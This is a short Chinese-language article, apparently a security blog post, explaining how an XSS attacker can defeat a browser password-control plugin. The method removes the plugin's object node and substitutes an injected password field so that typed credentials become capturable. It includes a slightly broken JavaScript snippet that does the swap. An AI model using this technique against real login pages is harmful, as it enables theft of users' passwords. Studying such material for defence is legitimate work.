XSS的具体场景如下:
存在一个XSS,但是很无赖,密码的这个域无法监听,也无法操作,我讲讲对方的验证方法,XSS的目的是窃取用户输入的用户和密码。
HTML表单中有类型为hidden的password域,用户无法看到。在HTML中使用object标签加载自己编写的密码控件,加载的作用是显示一个输入密码框
假设这个object 的 ID=”defence”,用户在控件生成的输入框里面输入密码,测试发现,无论键盘记录还是DOM操作对这个域无效。
点提交后 控件会响应事件onsubmit,获取输入进行加密,然后修改刚刚提到的隐藏域password的值,开始提交。
object标签那是用来加载控件的。具体思路是这样的: 通过分析我们发现几点:
一:我们能执行任意JS
二:密码控件不可用JS操作,但是控件也是HTML和JS调用出来的,好了,我们可以想,绕过似乎不行,因为编写过控件的都知道,这里的控件独立于HTML DOM
既然如此 我们从创建它的页面入手,既然object标签调用了他,我们对他的父节点进行removeChild操作,就是删除该节点1。
经过测试,密码控件生成的输入框消失。

然后下面的工作就轻松了,重写一个全新的password域,经过修改到达到和原来一样的样子,然后,整个表单又回到***的控制中。
有的控件不是使用JS调用的当然就不能用此思路了, 卸载的核心代码其实很简单:

  1. function killXXX() 
  2.  //删除password域 
  3.  var ps = document.getElementById("password"); 
  4.  ps.parentNode.removeChild(ps); 
  5.  //卸载DHGateEdit 
  6.  var obj = document.getElementById("XXX"); 
  7.  var objobj_p = obj.parentNode; 
  8.  obj_p.style.border = 0
  9.  obj_p.removeChild(obj); 
  10.  //重建password域 
  11.  var obj = document.createElement("input"); 
  12.  obj.type = "password"
  13.  obj.id = "hacker"
  14.  obj.name = "password"
  15.  obj.tabindex = "2"
  16.  obj.border = 0
  17.  obj.size = 22
  18.  
  19.  obj_p.appendChild(obj); 
  20.  
  21.  return true;